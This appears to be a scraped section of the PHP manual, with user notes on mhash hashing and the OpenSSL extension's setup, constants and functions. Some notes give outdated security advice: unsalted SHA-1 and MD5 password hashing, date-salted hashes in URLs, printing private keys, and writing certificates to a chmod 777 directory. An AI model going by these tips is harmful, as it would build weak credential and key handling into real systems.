    $mhash_result_with_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash, $blank_hmac_key));
    $mhash_result_without_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash));

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $hash_result_with_hmac_parameter = hash_hmac("crc32", $string_to_hash, $blank_hmac_key);
    $hash_result_without_hmac_parameter = hash("crc32", $string_to_hash);

        // Print Results
        // ---------------------------------------------------

    print("MHASH (CRC32 Algorithm) With Blank HMAC Key: $mhash_result_with_hmac_parameter .<br>");
    print("MHASH (CRC32 Algorithm) Without HMAC Processing: $mhash_result_without_hmac_parameter .<br><br>");

    print("HASH (CRC32 Algorithm) With Blank HMAC Key: $hash_result_with_hmac_parameter .<br>");
    print("HASH (CRC32 Algorithm) Without HMAC Processing: $hash_result_without_hmac_parameter .");

?>

    Results :
    ...................................

MHASH (CRC32 Algorithm) With Blank HMAC Key: f665c094 .
MHASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .

HASH (CRC32 Algorithm) With Blank HMAC Key: 3041f4f8 .
HASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .
holdoffhunger at gmail dot com 28-Jun-2012 04:27
Both cryptography packages, the MHash and the HASH Message Digest Framework, have the same algorithms, and yet, they both sometimes to produce wildly different results from each other when applying the same algorithm to the same piece of data.  The SHA-x algorithms, as designed by the NSA, all seem to have concrete standards for producing their hash values, so they have similar results.  Even the two MD5 implementations produce identical results, and the same goes for Gost, RipeMD, CRC32, Whirlpool, Snefru256 (known as 'Snefru256' in MHash and simply 'Snefru' in HASH-MDF), and Tiger (the three-round versions in HASH-MDF to simply 'Tigerx' in MHash).

However, the algorithms CRC32B and Adler32 each produce different results when called from either MHash or HASH-MDF, possibly because they are hashing algorithms designed to be checksums rather than something that can produce a string as a unique identifier for a particular piece of information.  For that reason, if you ever publish the hash results with the data you're putting out publicly, it's probably wise to indicate whether it's the MHash or HASH-MDF implementation of the algorithm.  Otherwise, the hash value won't provide much use as a unique identifier for the particular piece of data or for the file.

Some example code to better explain what I mean :

<?php

            // Author: holdoffhunger@gmail.com

        // SHA-1 Hashing
        // ---------------------------------------------------

    $mhash_sha1_results = bin2hex(mhash(MHASH_SHA1, "secret"));
    $hash_mdf_sha1_results = hash("sha1", "secret", FALSE);

    print("MHash SHA-1: $mhash_sha1_results .<br>");
    print("HASH-MDF SHA-1: $hash_mdf_sha1_results .<br><br>");

        // Whirlpool Hashing
        // ---------------------------------------------------

    $mhash_whirlpool_results = bin2hex(mhash(MHASH_WHIRLPOOL, "secret"));
    $hash_mdf_whirlpool_results = hash("whirlpool", "secret", FALSE);

    print("MHash Whirlpool: $mhash_whirlpool_results .<br>");
    print("HASH-MDF Whirlpool: $hash_mdf_whirlpool_results .<br><br>");

        // CRC32B Hashing
        // ---------------------------------------------------

    $mhash_crc32b_results = bin2hex(mhash(MHASH_CRC32B, "secret"));
    $hash_mdf_crc32b_results = hash("crc32b", "secret", FALSE);

    print("MHash CRC32B: $mhash_crc32b_results .<br>");
    print("HASH-MDF CRC32B: $hash_mdf_crc32b_results .<br><br>");

        // Adler32 Hashing
        // ---------------------------------------------------

    $mhash_adler32_results = bin2hex(mhash(MHASH_ADLER32, "secret"));
    $hash_mdf_adler32_results = hash("adler32", "secret", FALSE);

    print("MHash Adler32: $mhash_adler32_results .<br>");
    print("HASH-MDF Adler32: $hash_mdf_adler32_results .<br><br>");

?>

    Expected Results :
    ........................

MHash SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .
HASH-MDF SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .

MHash Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

HASH-MDF Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

MHash CRC32B: e5e8a25c .
HASH-MDF CRC32B: 5ca2e8e5 .

MHash Adler32: 8702d108 .
HASH-MDF Adler32: 08d10287 .
hm2k at php dot net 20-Jan-2009 04:16
mhash support now appears in the Pear PHP_Compat package, for support without building PHP with mhash.
numien(at)deathwyrm(dot)com 31-Jan-2007 02:21
---Quote---
pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)
---/Quote---

That's an awfully inefficient way of doing things. You can just put ", true" after md5 or sha1 to get binary output instead of having it convert it to hex then back.

Easier way:
md5($str, true) == mhash(MHASH_MD5, $str)
sha1($str, true) == mhash(MHASH_SHA1, $str)
marcel446 at yahoo dot com 06-Jun-2005 01:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz 19-Mar-2005 02:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com 02-Nov-2004 09:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.

Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net 02-Jul-2004 06:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com 10-Jul-2003 02:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com 28-Nov-2002 05:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*",md5($key));
    }
    $key  = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad ;
    $k_opad = $key ^ $opad;

    return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
shimon_d at hotmail dot com 22-Aug-2002 09:05
password security:
when you hash passwords to save them in cookie , url ,etc' my sugsession is to hash them with date
becouse of evry body can view server log or any other loged info and reuse the hash

ie.: to re call a url eg. admin.php?user=root&passhash=5rft346tert
in this example the password keepped in secret but what stopping me to reuse the url

hash("secret") // bad security
hash("secret".date("Ymg")) // better security
// the hash good only for today
luc at 2113 dot ch 28-Dec-2001 02:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net 06-Dec-2001 07:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.


OpenSSL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Purpose checking flags
    • Padding flags for asymmetric encryption
    • Key types
    • PKCS7 Flags/Constants
    • Signature Algorithms
    • Ciphers
    • Version constants
    • Server Name Indication constants
  • Key/Certificate parameters
  • Certificate Verification
  • OpenSSL Functions
    • openssl_cipher_iv_length — Gets the cipher iv length
    • openssl_csr_export_to_file — Exports a CSR to a file
    • openssl_csr_export — Exports a CSR as a string
    • openssl_csr_get_public_key — Returns the public key of a CERT
    • openssl_csr_get_subject — Returns the subject of a CERT
    • openssl_csr_new — Generates a CSR
    • openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate
    • openssl_decrypt — Decrypts data
    • openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key
    • openssl_digest — Computes a digest
    • openssl_encrypt — Encrypts data
    • openssl_error_string — Return openSSL error message
    • openssl_free_key — Free key resource
    • openssl_get_cert_locations — Retrieve the available certificate locations
    • openssl_get_cipher_methods — Gets available cipher methods
    • openssl_get_md_methods — Gets available digest methods
    • openssl_get_privatekey — Alias of openssl_pkey_get_private
    • openssl_get_publickey — Alias of openssl_pkey_get_public
    • openssl_open — Open sealed data
    • openssl_pbkdf2 — Generates a PKCS5 v2 PBKDF2 string, defaults to SHA-1
    • openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File
    • openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.
    • openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array
    • openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message
    • openssl_pkcs7_encrypt — Encrypt an S/MIME message
    • openssl_pkcs7_sign — Sign an S/MIME message
    • openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message
    • openssl_pkey_export_to_file — Gets an exportable representation of a key into a file
    • openssl_pkey_export — Gets an exportable representation of a key into a string
    • openssl_pkey_free — Frees a private key
    • openssl_pkey_get_details — Returns an array with the key details
    • openssl_pkey_get_private — Get a private key
    • openssl_pkey_get_public — Extract public key from certificate and prepare it for use
    • openssl_pkey_new — Generates a new private key
    • openssl_private_decrypt — Decrypts data with private key
    • openssl_private_encrypt — Encrypts data with private key
    • openssl_public_decrypt — Decrypts data with public key
    • openssl_public_encrypt — Encrypts data with public key
    • openssl_random_pseudo_bytes — Generate a pseudo-random string of bytes
    • openssl_seal — Seal (encrypt) data
    • openssl_sign — Generate signature
    • openssl_spki_export_challenge — Exports the challenge assoicated with a signed public key and challenge
    • openssl_spki_export — Exports a valid PEM formatted public key signed public key and challenge
    • openssl_spki_new — Generate a new signed public key and challenge
    • openssl_spki_verify — Verifies a signed public key and challenge
    • openssl_verify — Verify signature
    • openssl_x509_check_private_key — Checks if a private key corresponds to a certificate
    • openssl_x509_checkpurpose — Verifies if a certificate can be used for a particular purpose
    • openssl_x509_export_to_file — Exports a certificate to file
    • openssl_x509_export — Exports a certificate as a string
    • openssl_x509_fingerprint — Calculates the fingerprint, or digest, of a given X.509 certificate
    • openssl_x509_free — Free certificate resource
    • openssl_x509_parse — Parse an X509 certificate and return the information as an array
    • openssl_x509_read — Parse an X.509 certificate and return a resource identifier for it

User Contributed Notes

Anonymous 08-Oct-2009 02:28
OpenSSL creates asynchronous key pairs, however I wanted to have the private key something that was human-memorizable. With the standard keys generated, this is not possible. How I achieved it was to use two types of encryption.

After generating a key pair with OpenSSL, the public key can be stored in plain text format. I then encrypted the private key itself using regular mcrypt with the human-memorizable key of my choice and converted it to ACSII using base64_encode. Then to get the private key back, I just decrypted it with mcrypt. This way I could store the encrypted private key on the server without worrying about having things stored unencrypted.

Of course, this will only be as good as your human-memorizable key is and can potentially reduce the security of your script if you choose something simple or don't use salts.
bdh dot hall at gmail dot com 30-May-2009 12:18
I was having a heck of a time finding help on making asynchronous encryption/decryption using private key/public key systems working, and I had to have it for creating a credit card module that uses recurring billing.

You'd be a fool to use normal, 'synchronous' or two-way encryption for this, so the whole mcrypt library won't help.

But, it turns out OpenSSL is extremely easy to use...yet it is so sparsely documented that it seems it would be incredibly hard.

So I share my day of hacking with you - I hope you find it helpful!

<?php

if (isset($_SERVER['HTTPS']) )
{
    echo "SECURE: This page is being accessed through a secure connection.<br><br>";
}
else
{
    echo "UNSECURE: This page is being access through an unsecure connection.<br><br>";
}

// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privatekey);

// Get public key
$publickey=openssl_pkey_get_details($res);
$publickey=$publickey["key"];

echo "Private Key:<BR>$privatekey<br><br>Public Key:<BR>$publickey<BR><BR>";

$cleartext = '1234 5678 9012 3456';

echo "Clear text:<br>$cleartext<BR><BR>";

openssl_public_encrypt($cleartext, $crypttext, $publickey);

echo "Crypt text:<br>$crypttext<BR><BR>";

openssl_private_decrypt($crypttext, $decrypted, $privatekey);

echo "Decrypted text:<BR>$decrypted<br><br>";
?>

Many thanks to other contributors in the docs for making this less painful.

Note that you will want to use these sorts of functions to generate a key ONCE - save your privatekey offline for decryption, and put your public key in your scripts/configuration file. If your data is compromised you don't care about the encrypted stuff or the public key, it's only the private key and cleartext that really matter.

Good luck!
koen dot thomeer at pubmed dot be 31-Aug-2008 07:27
For checking the status of a client certificate using OCSP, you can use this script:

<?php
// User variables:
$dir = '/path/to/temp/'; // Directory where apache has access to (chmod 777).
$RootCA = '/path/to/Root.cer'; // Points to the Root CA in PEM format.
$OCSPUrl = 'http://ocsp.url'; //Points to the OCSP URL
// Script:
$a = rand(1000,99999); // Needed if you expect more page clicks in one second!
file_put_contents($dir.$a.'cert_i.pem', $_SERVER['SSL_CLIENT_CERT_CHAIN_0']); // Issuer certificate.
file_put_contents($dir.$a.'cert_c.pem', $_SERVER['SSL_CLIENT_CERT']); // Client (authentication) certificate.
$output = shell_exec('openssl ocsp -CAfile '.$RootCA.' -issuer '.$dir.$a.'cert_i.pem -cert '.$dir.$a.'cert_c.pem -url '.$OCSPUrl);
$output2 = preg_split('/[\r\n]/', $output);
$output3 = preg_split('/: /', $output2[0]);
$ocsp = $output3[1];
echo "OCSP status: ".$ocsp; // will be "good", "revoked", or "unknown"
unlink($dir.$a.'cert_i.pem');
unlink($dir.$a.'cert_c.pem');
?>

It can be ameliorated, but it's just a beginning!

Normally, you can extract the ocsp url from the client certificate. Also, an OCSP request contains only the hash of the issuer name, the hash of the issuer's key, and the serial number of the client certificate. All three can be extracted directly from the client certificate.


Introduction

This module uses the functions of » OpenSSL for generation and verification of signatures and for sealing (encrypting) and opening (decrypting) data. OpenSSL offers many features that this module currently doesn't support. Some of these may be added in the future.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to use the OpenSSL functions you need to install the » OpenSSL package. PHP between versions 4.0.5 and 4.3.1 will work with OpenSSL >= 0.9.5. Other versions (PHP <=4.0.4 and >= 4.3.2) require OpenSSL >= 0.9.6.

Warning

You are strongly encouraged to use the most recent OpenSSL version, otherwise your web server could be vulnerable to attack.

User Contributed Notes

poo flanders 27-May-2009 01:57
for windows it might be better to just get the setup at http://gnuwin32.sourceforge.net/packages/openssl.htm

instead of the sources and try to compile 'em yourself ^_~


Installation

To use PHP's OpenSSL support you must also compile PHP --with-openssl[=DIR] .

The OpenSSL library also has additional requirements for normal operation at run-time. Most notably, OpenSSL requires access to a random or pseudo-random number generator; on most Unix and Unix-like platforms (including Linux), this means that it must have access to a /dev/urandom or /dev/random device.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: libeay32.dll

Additionally, if you are planning to use the key generation and certificate signing functions, you will need to install a valid openssl.cnf file on your system. As of PHP 4.3.0, we include a sample configuration file in our win32 binary distributions. PHP 4.3.x and 4.4.x has the file in the openssl directory. PHP 5.x and 6.x has the file in the extras/openssl directory. If you are either using PHP 4.2.x or missing the file, you can obtain it from » the OpenSSL binaries page or by downloading a recent PHP release. Be aware that Windows Explorer hides the .cnf extension by default and says the file Type is SpeedDial.

PHP will search for the openssl.cnf using the following logic:

  • the OPENSSL_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.
  • the SSLEAY_CONF environmental variable, if set, will be used as the path (including filename) of the configuration file.
  • The file openssl.cnf will be assumed to be found in the default certificate area, as configured at the time that the openssl DLL was compiled. This is usually means that the default filename is c:\usr\local\ssl\openssl.cnf.

In your installation, you need to decide whether to install the configuration file at c:\usr\local\ssl\openssl.cnf or whether to install it someplace else and use environmental variables (possibly on a per-virtual-host basis) to locate the configuration file. Note that it is possible to override the default path from the script using the configargs of the functions that require a configuration file.

User Contributed Notes

jaimz at vertigolabs dot org 14-Oct-2014 01:10
I just wanted to point out that when you compile with openssl and you're specifying a directory, the acinclude.m4 and aclocal.m4 use that directory as such:

{your directory}/includes/openssl/{headerfile}

That being said, you want to specify the directory that the includes directory is in, not the specific directory with the header files.

THIS IS WRONG --with-openssl=/usr/local/includes/openssl
THIS IS RIGHT --with-openssl=/usr/local
Alan 11-Oct-2011 08:14
Having recently installed Apache2.2 with PHP 5.2.17 on my Windows 7 development machine, I want to pass along my findings about how to set things up to load the correct versions of the OpenSSL DLLs. Many people have posted elsewhere about the "DLL Hell" that results if the a wrong version is loaded.

First, install Apache 2.2 and check its operation, then download the Windows binaries for PHP from http://windows.php.net/download/. Note that according to the sidebar on that page the recommended version of PHP for use with Apache2 is currently 5.2.17, even though it is back level. Plus, this version comes with all the DLLs you need to use OpenSSL -- no need to recompile as the old PHP man page suggests.

Having verified the PHP installation, turn on the OpenSSL support by uncommenting the line

extension=php_openssl.dll

in php.ini, which you will find in the PHP directory (I'll assume you made that c:/PHP). Next check the location of php_openssl.dll, which you should find in c:/PHP/ext. Also in php.ini find the key extension_dir, and change its value to c:/php/ext. Next, put this location on the end of your PATH (there's no need to reboot).

At this point, when you start Apache it will attempt to load php_openssl.dll, but if your setup is anything like mine you will see an error. I prefer to start Apache manually, and the error appears in a dialog box: "The ordinal 4114 could not be located in the dynamic link library LIBEAY32.dll". (I'm not sure whether you would get this message if you started Apache as a service). The Apache log also contains an error message saying that php_openssl.dll cannot be loaded, though that message doesn't name libeay32.dll. Welcome to DLL Hell.

Libeay32.dll enters the picture because php_openssl.dll depends on it (and also on ssleay32.dll). What I think happens is that Apache first tries to load php_openssl.dll programmatically from the path specified by the extension_dir key. But then, the loading of the so-called dependent DLLs is left to Windows' default mechanism. If Windows finds an incompatible version of a dependent DLL, you get the error.

So clearly the fix is to ensure that the correct version of libeay32.dll is loaded. On my machine, at least three other processes have loaded various versions of this same DLL. They include the Mozy backup client, Windows Explorer (because Mozy installs support in Explorer) and the OpenOffice suite. My machine is quite different in this respect from a dedicated server on which one probably wants as few extraneous processes as possible.  Presumably on a server one can follow advice that suggests copying the dlls to the system32 directory, for example. But I'm not about to mess with my other programs by making system-wide changes.

So what to do? I didn't find the available information on how Windows searches for DLLs to be very useful, mainly because I didn't understand it. But it does say that the first place Windows looks is "The directory from which the application loaded."

To cut to the chase, after a lot of experimentation I came to a key realization -- "the application" is APACHE, not PHP. So I copied libeay32.dll to the Apache2.2/bin directory. Problem solved. No error messages and running phpinfo confirms that OpenSSL is present and enabled.

Good luck, and stay out of DLL Hell.
Fernando rubio 05-Jun-2011 08:20
OpenSSL and IIS

Open php.ini
uncomment the following:
extension=php_openssl.dll

Make sure you have config the following section pointing to your php install directory (in my case is located in a second partition at e:\php) (very recommended practice)

; Directory in which the loadable extensions (modules) reside.
extension_dir = "e:/php/ext"

Add your php directory to the PATH variable

start>run>type cmd
on windows console type:
set PATH=%PATH%;e:\php
(remember replace e:\php with YOUR directory)
(note that using %path% is the same as var+=value, so the directory will be appended at the end of the variable)

php5 come with all the dll in the zip package so if you add the php directory to the path variable, you don't need to move anything to your windows system directory (very safe for later updates, because you just replace the content of your php directory)

After all these step you ready.. but of course you need to restart your IIS to apply changes, so

start>run>inetsrv/iis.msc
right click on your computer
all task>restart IIS

done!
Kathryn Sharron at CSUN 19-Feb-2009 11:40
I followed all of the instructions above to install on Windows and *still* couldn't get "OpenSSL support     enabled" from phpinfo(). The answer turned out to be in my php.ini file:

; Directory in which the loadable extensions (modules) reside.
extension_dir = "./"

I found php_openssl.dll in my /ext directory. I copied it up to the same directory as php.ini, but I expect that editing the extension_dir value would work too.
mtudor AT icefusion remove me DOT co uk 24-Oct-2008 01:52
SYMPTOMS AND SETUP
------------------

For anyone having problems enabling the PHP openssl extension on WINDOWS.

I uncommented:  extension=php_openssl.dll  and installed the latest versions of ssleay.dll and libeay.dll in <windows>\system32.

When I restarted my web server and examined phpinfo(), there was no "openssl" headed section (although there were references to openssl in other sections).

I also found this error in my web server logs (<apache dir>/logs/ssl.log and <apache dir>/logs/access.log).

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\Program Files\\PHP\\ext\\php_openssl.dll' - The operating system cannot run %1.\r\n in Unknown on line 0

I have PHP 5.2.6 running on Apache 2.2.3 for Windows.

CAUSE
-----

This was caused by PHP picking up the WRONG VERSIONS of libeay.dll and ssleay.dll, which were present in multiple locations on my computer.

When any application attempts to use a dll file in windows, the system searches for this file using the following order:
   1. The directory from which the application loaded.
   2. The windows\system32 directory.
   3. The windows\system directory.
   4. The windows directory.
   5. The current directory.
   6. The directories that are listed in the PATH environment variable.

   (http://msdn.microsoft.com/en-us/library/ms682586.aspx)

For PHP running under Apache, the application directory is <apache dir>\bin and NOT <php dir>.  PHP was finding OUT OF DATE versions of libeay.dll and ssleay.dll in <apache dir>\bin (probably installed when I enabled SSL support in my web server).  Because of this, the latest versions in windows\system32 were never reached.

NOTE: Although my problem was caused by an Apache2 specific configuration, I can imagine others might face this problem if, say, they install the openssl dlls in the PHP directory and add this directory to the PATH.  I haven't checked it but I would imagine if another directory in the path contains outdated openssl dlls and this is listed before the PHP directory, a similar situation would occur.

SOLUTION
--------

Either replace the dlls in the first location on the search order, or, as I did, you can install the latest openssl dlls in the the windows system32 directory and just rename to .old the ssleay.dll and libeay.dll files in the search order locations before windows\system32.

Hope that helps others who might be stuck with this.

Mark.


Predefined Constants

Table of Contents

  • Purpose checking flags
  • Padding flags for asymmetric encryption
  • Key types
  • PKCS7 Flags/Constants
  • Signature Algorithms
  • Ciphers
  • Version constants
  • Server Name Indication constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.


Purpose checking flags

X509_PURPOSE_SSL_CLIENT (integer)
X509_PURPOSE_SSL_SERVER (integer)
X509_PURPOSE_NS_SSL_SERVER (integer)
X509_PURPOSE_SMIME_SIGN (integer)
X509_PURPOSE_SMIME_ENCRYPT (integer)
X509_PURPOSE_CRL_SIGN (integer)
X509_PURPOSE_ANY (integer)

User Contributed Notes

There are no user contributed notes for this page.


Padding flags for asymmetric encryption

OPENSSL_PKCS1_PADDING (integer)
OPENSSL_SSLV23_PADDING (integer)
OPENSSL_NO_PADDING (integer)
OPENSSL_PKCS1_OAEP_PADDING (integer)

User Contributed Notes

There are no user contributed notes for this page.


Key types

OPENSSL_KEYTYPE_RSA (integer)
OPENSSL_KEYTYPE_DSA (integer)
OPENSSL_KEYTYPE_DH (integer)
OPENSSL_KEYTYPE_EC (integer)
This constant is only available when PHP is compiled with OpenSSL 0.9.8+.

Note:

This constant was added in 5.2.0.

OPENSSL_KEYTYPE_EC

User Contributed Notes

There are no user contributed notes for this page.


PKCS7 Flags/Constants

The S/MIME functions make use of flags which are specified using a bitfield which can include one or more of the following values:

PKCS7 CONSTANTS
Constant | Description
PKCS7_TEXT | Adds text/plain content type headers to encrypted/signed message. If decrypting or verifying, it strips those headers from the output - if the decrypted or verified message is not of MIME type text/plain then an error will occur.
PKCS7_BINARY | Normally the input message is converted to "canonical" format which is effectively using CR and LF as end of line: as required by the S/MIME specification. When this option is present, no translation occurs. This is useful when handling binary data which may not be in MIME format.
PKCS7_NOINTERN | When verifying a message, certificates (if any) included in the message are normally searched for the signing certificate. With this option only the certificates specified in the extracerts parameter of openssl_pkcs7_verify() are used. The supplied certificates can still be used as untrusted CAs however.
PKCS7_NOVERIFY | Do not verify the signers certificate of a signed message.
PKCS7_NOCHAIN | Do not chain verification of signers certificates: that is don't use the certificates in the signed message as untrusted CAs.
PKCS7_NOCERTS | When signing a message the signer's certificate is normally included - with this option it is excluded. This will reduce the size of the signed message but the verifier must have a copy of the signers certificate available locally (passed using the extracerts to openssl_pkcs7_verify() for example).
PKCS7_NOATTR | Normally when a message is signed, a set of attributes are included which include the signing time and the supported symmetric algorithms. With this option they are not included.
PKCS7_DETACHED | When signing a message, use cleartext signing with the MIME type "multipart/signed". This is the default if you do not specify any flags to openssl_pkcs7_sign(). If you turn this option off, the message will be signed using opaque signing, which is more resistant to translation by mail relays but cannot be read by mail agents that do not support S/MIME.
PKCS7_NOSIGS | Don't try and verify the signatures on a message

Note:

These constants were added in 4.0.6.

User Contributed Notes

There are no user contributed notes for this page.


Signature Algorithms

OPENSSL_ALGO_DSS1 (integer)
OPENSSL_ALGO_SHA1 (integer)
Used as default algorithm by openssl_sign() and openssl_verify().
OPENSSL_ALGO_SHA224 (integer)
OPENSSL_ALGO_SHA256 (integer)
OPENSSL_ALGO_SHA384 (integer)
OPENSSL_ALGO_SHA512 (integer)
OPENSSL_ALGO_RMD160 (integer)
OPENSSL_ALGO_MD5 (integer)
OPENSSL_ALGO_MD4 (integer)
OPENSSL_ALGO_MD2 (integer)
As of PHP 5.2.13 and PHP 5.3.2, this constant is only available if PHP is compiled with MD2 support. This requires passing in the -DHAVE_OPENSSL_MD2_H CFLAG when compiling PHP, and enable-md2 when compiling OpenSSL 1.0.0+.

Note:

These constants were added in 5.0.0.

OPENSSL_ALGO_MD2, OPENSSL_ALGO_MD4, OPENSSL_ALGO_MD5, OPENSSL_ALGO_SHA1, OPENSSL_ALGO_DSS1

Note:

These constants were added in 5.4.8.

OPENSSL_ALGO_RMD160, OPENSSL_ALGO_SHA224, OPENSSL_ALGO_SHA256, OPENSSL_ALGO_SHA384, OPENSSL_ALGO_SHA512

User Contributed Notes

Harry Jordan 09-Aug-2009 03:36
OPENSSL_ALGO_DSS1 is the algorithm to use when dealing with DSA keys


Ciphers

OPENSSL_CIPHER_RC2_40 (integer)
OPENSSL_CIPHER_RC2_128 (integer)
OPENSSL_CIPHER_RC2_64 (integer)
OPENSSL_CIPHER_DES (integer)
OPENSSL_CIPHER_3DES (integer)

Note:

These constants were added in 4.3.0.

OPENSSL_CIPHER_AES_128_CBC (integer)
OPENSSL_CIPHER_AES_192_CBC (integer)
OPENSSL_CIPHER_AES_256_CBC (integer)

Note:

These constants were added in 5.4.0.

User Contributed Notes

There are no user contributed notes for this page.


Version constants

OPENSSL_VERSION_TEXT (string)
OPENSSL_VERSION_NUMBER (integer)

Note:

These constants were added in 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.


Server Name Indication constants

OPENSSL_TLSEXT_SERVER_NAME (string)
Whether SNI support is available or not.

Note:

This constant were added in 5.3.2 and requires PHP to be built with OpenSSL 0.9.8j or greater.

User Contributed Notes

There are no user contributed notes for this page.


Key/Certificate parameters

Quite a few of the openssl functions require a key or a certificate parameter. PHP 4.0.5 and earlier have to use a key or certificate resource returned by one of the openssl_get_xxx() functions. Later versions may use one of the following methods:

  • Certificates

    1. An X.509 resource returned from openssl_x509_read()
    2. A string having the format file://path/to/cert.pem; the named file must contain a PEM encoded certificate
    3. A string containing the content of a certificate, PEM encoded

  • Public/Private Keys

    1. A key resource returned from openssl_get_publickey() or openssl_get_privatekey()
    2. For public keys only: an X.509 resource
    3. A string having the format file://path/to/file.pem - the named file must contain a PEM encoded certificate/private key (it may contain both)
    4. A string containing the content of a certificate/key, PEM encoded
    5. For private keys, you may also use the syntax array($key, $passphrase) where $key represents a key specified using the file:// or textual content notation above, and $passphrase represents a string containing the passphrase for that private key

User Contributed Notes

There are no user contributed notes for this page.


Certificate Verification

When calling a function that will verify a signature/certificate, the cainfo parameter is an array containing file and directory names that specify the locations of trusted CA files. If a directory is specified, then it must be a correctly formed hashed directory as the openssl command would use.

User Contributed Notes

There are no user contributed notes for this page.


OpenSSL Functions

Table of Contents

  • openssl_cipher_iv_length — Gets the cipher iv length
  • openssl_csr_export_to_file — Exports a CSR to a file
  • openssl_csr_export — Exports a CSR as a string
  • openssl_csr_get_public_key — Returns the public key of a CERT
  • openssl_csr_get_subject — Returns the subject of a CERT
  • openssl_csr_new — Generates a CSR
  • openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate
  • openssl_decrypt — Decrypts data
  • openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key
  • openssl_digest — Computes a digest
  • openssl_encrypt — Encrypts data
  • openssl_error_string — Return openSSL error message
  • openssl_free_key — Free key resource
  • openssl_get_cert_locations — Retrieve the available certificate locations
  • openssl_get_cipher_methods — Gets available cipher methods
  • openssl_get_md_methods — Gets available digest methods
  • openssl_get_privatekey — Alias of openssl_pkey_get_private
  • openssl_get_publickey — Alias of openssl_pkey_get_public
  • openssl_open — Open sealed data
  • openssl_pbkdf2 — Generates a PKCS5 v2 PBKDF2 string, defaults to SHA-1
  • openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File
